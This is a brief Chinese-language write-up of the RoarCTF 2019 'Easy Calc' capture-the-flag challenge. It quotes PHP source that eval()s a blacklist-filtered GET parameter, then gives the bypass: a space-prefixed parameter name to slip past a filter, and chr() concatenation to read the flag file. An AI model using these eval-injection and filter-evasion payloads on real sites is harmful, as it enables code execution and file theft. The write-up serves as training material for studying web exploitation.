[RoarCTF 2019]Easy Calc
代码审计
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
过滤了很多东西,calc.php?空格num=phpinfo(); 这样,会先触发规则,删除空格,进而将一个名称为num的参数传入
由于过滤了“/”符号,我们用ASCII码chr(47)替换
直接拼接ASCII码查f1agg
calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))